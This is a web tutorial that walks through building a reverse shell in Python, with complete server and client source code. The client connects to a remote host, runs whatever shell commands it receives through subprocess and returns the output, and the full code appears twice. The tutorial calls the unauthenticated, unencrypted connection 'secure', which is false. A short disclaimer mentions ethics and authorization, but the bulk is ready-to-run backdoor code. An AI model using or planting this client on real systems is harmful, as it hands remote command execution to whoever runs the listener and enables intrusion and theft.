Home » Tutorials » How to Create a Reverse Shell in Python

How to Create a Reverse Shell in Python

In our digital age, keeping our online spaces secure is super important. One really useful tool for this is the reverse shell, which lets you remotely access another computer. It’s great for system admins and cybersecurity pros, but hackers can misuse it too. That’s why it’s crucial to know how powerful it is and to use it ethically. Ethical hacking, or penetration testing, uses tools like reverse shells to find and fix security issues, helping keep our systems safe and secure.

In this tutorial, we’ll walk you through the process of creating a reverse shell in Python. We’ll cover both the server and client code, demonstrating how to establish a secure connection for remote command execution. You’ll gain a deeper understanding of network programming and socket communication in Python, equipping you with the skills needed for both legitimate security testing and educational purposes. Remember, the knowledge you gain here should always be applied ethically and with proper authorization.

Let’s get started!

Table of Contents

Disclaimer

Please note: This tutorial is for educational purposes only. Creating and using reverse shells without proper authorization is illegal and unethical. Always ensure you have explicit permission before testing on any system.

RELATED: How to Create a Chatroom in Python

Creating a Reverse Shell Server

Imports

Since we intend to control our own remote computer, we’ll need a handy tool that lets us connect and communicate with other devices: the socket module, which is our only import for this script.

import socket

Defining Constants

Now that we have our tool ready, it’s time to set up the stage:

  • First, we set our SERVER_HOST to 0.0.0.0 so it’s open to any incoming connections. It’s like setting up a signal telling everyone that you’re here.
  • Our second constant is the SERVER_PORT. If the server host is the address, think of the server port as the door number. We’ve chosen 5003 for our door since it’s unoccupied.
  • Next, since we expect visitors to our server, we need to ensure it can handle large chunks of data. We do this by setting BUFFER_SIZE to handle up to 128KB.
  • Finally, to avoid confusion and keep everything organized, we’ll set up a SEPARATOR to split and organize the messages.
# Constants
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "<sep>"

Starting the Server

With the stage set, let’s start building our server. We’ll create a socket object, which is essentially a telephone line ready to connect calls.

def start_server():
   # Create a socket object
   server_socket = socket.socket()

Binding and Configuring Socket

Although our telephone line is ready to connect calls, it doesn’t have a number yet, so we can’t call it. That’s why we bind the socket to our SERVER_HOST and SERVER_PORT to give it a number:

   # This Bind the socket to all IP addresses of this host
   server_socket.bind((SERVER_HOST, SERVER_PORT))

We also don’t want our telephone line to be out of reach and give busy signals, so we use setsockopt() to allow the port to be reused without any complaints:

   # Make the port reusable
   server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

Finally, we want our telephone line to be on the lookout for any incoming calls, which is why we use listen(5). If you noticed the 5, it simply means we can handle up to 5 calls at a time:

   # Start listening for incoming connections
   server_socket.listen(5)

The print statement informs us that the server is listening and ready for connections:

   print(f"[*] The Pycodes is Listening as {SERVER_HOST}:{SERVER_PORT}")

Accepting Connections

At this stage, we receive a caller (client) to our telephone line (server). Once a connection is made using the accept() function, a new socket is created for that specific connection, and we can see the caller’s address thanks to the print() statement.

   # Accept connections
   client_socket, client_address = server_socket.accept()
   print(f"[+] {client_address[0]}:{client_address[1]} Connected to The Pycodes")

Receiving Initial Data

Here we use recv() to receive data from the client, allowing us to know their current working directory and listen closely to their messages. Once the messages are received, they are decoded with the decode() function to become readable. The received directory is then printed so we know where the client is located on their computer.

   # Receive the current working directory of the client
   cwd = client_socket.recv(BUFFER_SIZE).decode()
   print(f"[+] Current working directory: {cwd}")

Main Command Loop

This loop is where the conversation between the server and the client happens. It prompts the user to input an actual command, ensuring it’s not empty thanks to the strip() function. The command is then sent to the client using send(), while the debug information about the command is printed only to the server user, not the client. Finally, the user can shut down the server by simply typing exit.

   while True:
       # Get command from user
       command = input(f"{cwd} $> ")
       if not command.strip():
           continue
       # Send command to client
       print(f"[DEBUG] Sending command: {command}")
       client_socket.send(command.encode())
       if command.lower() == "exit":
           break

Receiving Command Output

Just like any good conversation, there’s a response to every message. In this part, the server listens for the client’s reply. We use recv() to receive the response, which contains the output of the command the server sent. This raw data is then made readable with decode(). Next, we split the output using SEPARATOR to find the client’s new working directory.

Finally, we print the command’s output, showing the result of our interaction.

       # Receive and print command output
       output = client_socket.recv(BUFFER_SIZE).decode()
       results, cwd = output.split(SEPARATOR)
       print(f"[DEBUG] Received output: {results}")
       print(results)

Closing Connections

This part uses close() to ensure that both the server and client sockets are properly closed, wrapping up our connection cleanly.

   # Close sockets
   client_socket.close()
   server_socket.close()

Main Function Call

This one calls the start_server() function and ensures that the server starts only if this script is run directly and not imported.

if __name__ == "__main__":
   start_server()

Server Full Code

import socket


# Constants
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "<sep>"


def start_server():
   # Create a socket object
   server_socket = socket.socket()
   # This Bind the socket to all IP addresses of this host
   server_socket.bind((SERVER_HOST, SERVER_PORT))
   # Make the port reusable
   server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
   # Start listening for incoming connections
   server_socket.listen(5)
   print(f"[*] The Pycodes is Listening as {SERVER_HOST}:{SERVER_PORT}")


   # Accept connections
   client_socket, client_address = server_socket.accept()
   print(f"[+] {client_address[0]}:{client_address[1]} Connected to The Pycodes")


   # Receive the current working directory of the client
   cwd = client_socket.recv(BUFFER_SIZE).decode()
   print(f"[+] Current working directory: {cwd}")


   while True:
       # Get command from user
       command = input(f"{cwd} $> ")
       if not command.strip():
           continue
       # Send command to client
       print(f"[DEBUG] Sending command: {command}")
       client_socket.send(command.encode())
       if command.lower() == "exit":
           break


       # Receive and print command output
       output = client_socket.recv(BUFFER_SIZE).decode()
       results, cwd = output.split(SEPARATOR)
       print(f"[DEBUG] Received output: {results}")
       print(results)


   # Close sockets
   client_socket.close()
   server_socket.close()


if __name__ == "__main__":
   start_server()

Now that we have seen the server side, it is time to discuss how the client part works:

Client Part

Necessary Imports

Just like the server part, the client part also needs to import the necessary tools:

  • Our first import is socket to connect the client to the server.
  • Our second import is os to interact with the operating system.
  • Our third import is subprocess to run shell commands from within our script.
  • Our fourth import is sys to handle command-line arguments.
  • Our final import is platform to identify the operating system running on our computer.
import socket
import os
import subprocess
import sys
import platform

Handling Command Line Arguments

This part ensures you add the SERVER_HOST address as a command-line argument. If you forget, the script prompts you to include it by displaying a usage message and then exits. This ensures the client knows exactly where to connect.

# Ensure SERVER_HOST is provided as an argument
if len(sys.argv) < 2:
   print("Usage: python client.py <SERVER_HOST>")
   sys.exit(1)

Setting Up Constants

Before diving in, we need to set the stage by defining our constants. These are the same as in the server code, with one key difference: the SERVER_HOST here is the address we want to connect to, which you provide as a command-line argument. This small detail ensures our client knows exactly where to reach out.

# Constants
SERVER_HOST = sys.argv[1]
SERVER_PORT = 5003
BUFFER_SIZE = 131072  # 128KB buffer size for messages
SEPARATOR = "<sep>"

Initiating the Connection

In this step, we will call the telephone line (server) we created in the previous script. To do this, we will create a socket object using socket.socket(), and then connect to the server using socket.connect(). Once connected, we use os.getcwd() to get our current directory and send it to the server using sock.send() to inform the server where we are.

def initiate_connection():
   try:
       # Create a socket object
       sock = socket.socket()
       # Connect to the server
       print(f"Attempting to connect to {SERVER_HOST}:{SERVER_PORT}")
       sock.connect((SERVER_HOST, SERVER_PORT))
       print(f"Connected to {SERVER_HOST}:{SERVER_PORT}")
       # Send the current working directory to the server
       current_dir = os.getcwd()
       sock.send(current_dir.encode())

Main Loop for Command Execution

In this loop, we tell the server that we are always ready to receive any command using sock.recv(). We decode the received command and check if it is ‘exit‘ with command.lower(). If it is, we break the loop to end the connection gracefully. If the command is not ‘exit‘, we execute it using handle_command() and send the result back to the server along with our current directory using sock.send().

Finally, we use sock.close() to close the connection. The try-except blocks handle any errors that may occur during this process.

       while True:
           # Receive a command from the server
           command = sock.recv(BUFFER_SIZE).decode()
           print(f"[DEBUG] Command received: {command}")


           if command.lower() == "exit":
               break


           # Execute the received command
           response = handle_command(command)
           print(f"[DEBUG] Command response: {response}")


           # Send the response and current directory back to the server
           current_dir = os.getcwd()
           message = f"{response}{SEPARATOR}{current_dir}"
           sock.send(message.encode())


       # Close the socket connection
       sock.close()
   except socket.gaierror as e:
       print(f"Address-related error connecting to server: {e}")
   except socket.error as err:
       print(f"Socket error: {err}")
   except Exception as e:
       print(f"Error: {e}")

Handling Commands

This part tells us to follow any command that comes from the server. If the command starts with cd, we change to the specified directory using os.chdir(). If the directory doesn’t exist, we send an appropriate response. For any other command, we pass it to our shell command executor to run it. In simple terms, the server is in control of our operating system.

def handle_command(command):
   if command.startswith("cd "):
       # Change directory command
       directory = command[3:].strip()
       try:
           os.chdir(directory)
           return f"Changed directory to {directory}"
       except FileNotFoundError:
           return f"Directory not found: {directory}"
       except Exception as e:
           return str(e)
   else:
       # Execute shell command
       return execute_shell_command(command)

Executing Shell Commands

Once the command is passed to the shell command executor, the first thing we do is determine the operating system running on our computer using platform.system(). Based on this information, we use the appropriate shell with subprocess.Popen() to execute the command and wait for the output or any errors using process.communicate().

Finally, we gather the results and errors together and send them back.

def execute_shell_command(command):
   # Identify the operating system
   os_type = platform.system().lower()
   if os_type == "windows":
       # Use Windows shell to execute the command
       process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
   else:
       # Use Unix-based shell to execute the command
       process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                                  executable="/bin/bash", text=True)


   # Capture the command output
   stdout, stderr = process.communicate()
   return stdout + stderr

Executing Main Function

By executing this part, we kickstart the whole process of connecting to the server and handling commands. However, it only runs if the script is executed directly. If the script is imported as a module, this part won’t run.

if __name__ == "__main__":
   initiate_connection()

Client Full Code

import socket
import os
import subprocess
import sys
import platform


# Ensure SERVER_HOST is provided as an argument
if len(sys.argv) < 2:
   print("Usage: python client.py <SERVER_HOST>")
   sys.exit(1)


# Constants
SERVER_HOST = sys.argv[1]
SERVER_PORT = 5003
BUFFER_SIZE = 131072  # 128KB buffer size for messages
SEPARATOR = "<sep>"




def initiate_connection():
   try:
       # Create a socket object
       sock = socket.socket()
       # Connect to the server
       print(f"Attempting to connect to {SERVER_HOST}:{SERVER_PORT}")
       sock.connect((SERVER_HOST, SERVER_PORT))
       print(f"Connected to {SERVER_HOST}:{SERVER_PORT}")
       # Send the current working directory to the server
       current_dir = os.getcwd()
       sock.send(current_dir.encode())


       while True:
           # Receive a command from the server
           command = sock.recv(BUFFER_SIZE).decode()
           print(f"[DEBUG] Command received: {command}")


           if command.lower() == "exit":
               break


           # Execute the received command
           response = handle_command(command)
           print(f"[DEBUG] Command response: {response}")


           # Send the response and current directory back to the server
           current_dir = os.getcwd()
           message = f"{response}{SEPARATOR}{current_dir}"
           sock.send(message.encode())


       # Close the socket connection
       sock.close()
   except socket.gaierror as e:
       print(f"Address-related error connecting to server: {e}")
   except socket.error as err:
       print(f"Socket error: {err}")
   except Exception as e:
       print(f"Error: {e}")




def handle_command(command):
   if command.startswith("cd "):
       # Change directory command
       directory = command[3:].strip()
       try:
           os.chdir(directory)
           return f"Changed directory to {directory}"
       except FileNotFoundError:
           return f"Directory not found: {directory}"
       except Exception as e:
           return str(e)
   else:
       # Execute shell command
       return execute_shell_command(command)




def execute_shell_command(command):
   # Identify the operating system
   os_type = platform.system().lower()
   if os_type == "windows":
       # Use Windows shell to execute the command
       process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
   else:
       # Use Unix-based shell to execute the command
       process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                                  executable="/bin/bash", text=True)


   # Capture the command output
   stdout, stderr = process.communicate()
   return stdout + stderr




if __name__ == "__main__":
   initiate_connection()

Example

You can try it on your own computer by running the server code in your command prompt like this: python server.py. Then, run the client code like this: python client.py <SERVER_HOST>, replacing <SERVER_HOST> with the actual IP address or hostname of the server.

I ran this script on Windows as shown in the image below:

Also on a Linux system:

Conclusion

In the end, creating a server-client connection with Python’s socket module is a fantastic way to explore remote control capabilities. By setting up your server to send commands and your client to execute them, you’ve essentially built a remote shell.

Happy Coding!

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top